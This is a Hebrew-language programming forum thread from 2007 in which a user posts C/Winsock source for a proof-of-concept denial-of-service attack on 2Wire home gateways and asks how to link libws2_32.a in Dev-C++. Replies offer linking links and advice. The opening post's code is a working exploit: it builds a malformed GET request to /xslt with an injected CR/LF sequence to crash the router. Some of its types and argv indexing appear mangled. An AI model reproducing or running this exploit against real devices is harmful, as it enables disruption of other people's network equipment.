ABA


"הוספת הספריה libws2_32.a או שימוש ב-#PRAGMA ב-DEV-C++"
גירסת הדפסה        
קבוצות דיון פיתוח, תיכנות ובניית אתרים נושא #14003 מנהל    סגן המנהל    מפקח   Winner    צל"ש   מומחה  
אשכול מספר 14003
idan192

   00:41   21.03.07   
אל הפורום  
  הוספת הספריה libws2_32.a או שימוש ב-#PRAGMA ב-DEV-C++  
 
   ערכתי לאחרונה בתאריך 21.03.07 בשעה 00:42 בברכה, idan192
 
יש לי את הקוד הבא:

//////////////////////////////////
////////////////////////////////////////////////////
//// This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////

#pragma comment(lib,"libws2_32.a")
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "winsock2.h"

unsigned long dir;
char h="";
short port;
char badreq="";
int state;

int main(int argc, char *argv)
{
printf("\n###\n");
printf("#\n");
printf("# PoC of DoS 2wire_Gateway\n");
printf("# By IIdan192\n");
printf("# http://www.rotter.name\n");
printf("#\n");
printf("#\n\n");
if (argc<4){
printf(" %s $Host $Port $Variable\n",argv);
printf("\n %s 192.168.1.254 80 PAGE\n",argv);
return 0;
}
//Crear socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
SOCKET wsck;
//Estructuras
struct sockaddr_in Wins;
struct hostent *target;
//Wins
Wins.sin_family=AF_INET;
Wins.sin_port=htons((short)atoi(argv));
target=gethostbyname(argv);
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
//llamamos al socket
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
//Verifica por error
if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
printf("Socket creado correctamente!.. hWndl: %d",wsck);
//Conecta
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
WSACleanup();
return 0;
printf("\nError al conectar =!..");
}
printf("\nConectado!..");
//Make a bad query and send it ..Mwajuajua!..
strcat(badreq,"GET /xslt?");
strcat(badreq,argv);
strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
strcat(badreq,"Accept-Language: es-mx\r\n");
strcat(badreq,"User-Agent: MexHackTeam\r\n");
strcat(badreq,"Host: ");
strcat(badreq,argv);
strcat(badreq, "\r\n\r\n\r\n");
send(wsck , badreq ,(int)strlen(badreq), 0);
printf("\nDatos Mandados!..");
//finalized
Sleep(100);
printf("\nThat's all, Check this out!...\n");
WSACleanup();
return 0;
}
////////////////////////////////////////////
////////////////////////////////////////////////////

בקימפול שלו אני מקבל שגיאות על Undefined reference.
הבנתי שזה בגלל שאני צריך להוסיף את הספירה libws2_32.a ושימוש בפקודה #Pragma...
איך עושים זאת?


תודה!


                                שתף        
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד

  האשכול     מחבר     תאריך כתיבה     מספר  
  זה יעזור לך akoka 21.03.07 00:57 1
     האמת היא שלפי מה שאני קורא המסמך רק מסביר מה המשמעות ולא איך להוסיף =( idan192 21.03.07 12:45 2
  זה חדש לי קבצי A ממה שקראתי זה קבצי ספרייה של יוניקס Net_Boy  22.03.07 11:07 3
     כן, אבל אילו קבצים? הרי סוגריים משולשים-מקום קבוע, גרשיים-אתה בוחר-לא? idan192 22.03.07 19:59 4
         התשובה הכי טובה בנושא הזה akoka 22.03.07 20:36 5
             עכשיו זה מתקמפל, תודה רבה, למרות שלא הבנתי למה MULI 22.03.07 21:05 6
             תודה! idan192 22.03.07 21:15 7

       
akoka

   00:57   21.03.07   
אל הפורום  
  1. זה יעזור לך  
בתגובה להודעה מספר 0
 
   http://gcc.gnu.org/onlinedocs/gcc/C_002b_002b-Interface.html
אני מקווה


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
idan192

   12:45   21.03.07   
אל הפורום  
  2. האמת היא שלפי מה שאני קורא המסמך רק מסביר מה המשמעות ולא איך להוסיף =(  
בתגובה להודעה מספר 1
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Net_Boy  לחץ כאן להצגת דירוג המשתמש
חבר מתאריך 1.4.02
17151 הודעות, 1 פידבק
   11:07   22.03.07   
אל הפורום  
  3. זה חדש לי קבצי A ממה שקראתי זה קבצי ספרייה של יוניקס  
בתגובה להודעה מספר 0
 
   בכל אופן ממה שאני יודע עדיף לטעון את ה DLLs\LIB בצורה סטטית בהגדרות של הפרויקט


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
idan192

   19:59   22.03.07   
אל הפורום  
  4. כן, אבל אילו קבצים? הרי סוגריים משולשים-מקום קבוע, גרשיים-אתה בוחר-לא?  
בתגובה להודעה מספר 3
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
akoka

   20:36   22.03.07   
אל הפורום  
  5. התשובה הכי טובה בנושא הזה  
בתגובה להודעה מספר 4
 
   חפרתי ושאלתי וזאת התשובה הכי טובה
http://answers.yahoo.com/question/index?qid=20070313145303AADY904


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
MULI

   21:05   22.03.07   
אל הפורום  
  6. עכשיו זה מתקמפל, תודה רבה, למרות שלא הבנתי למה  
בתגובה להודעה מספר 5
 
   ערכתי לאחרונה בתאריך 22.03.07 בשעה 21:09 בברכה, MULI
 
הפתרון המלא נמצא גם פה
http://aditsu.freeunixhost.com/dev-cpp-faq.html#link

כתוב שהפונקציות הן כביכול לא C/C++ סטנדרטיות
אבל הן מופיעות בMSDN והכל כאילו הן רגילות.. איך זה יכול להיות מישו יכול להסביר לי?


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
idan192

   21:15   22.03.07   
אל הפורום  
  7. תודה!  
בתגובה להודעה מספר 5
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד

תגובה מהירה  למכתב מספר: 
 
___________________________________________________________________

___________________________________________________________________
למנהלים:  נעל | תייק בארכיון | מחק | העבר לפורום אחר | מחק תגובות | עגן אשכול
       



© כל הזכויות שמורות ל-רוטר.נט בע"מ rotter.net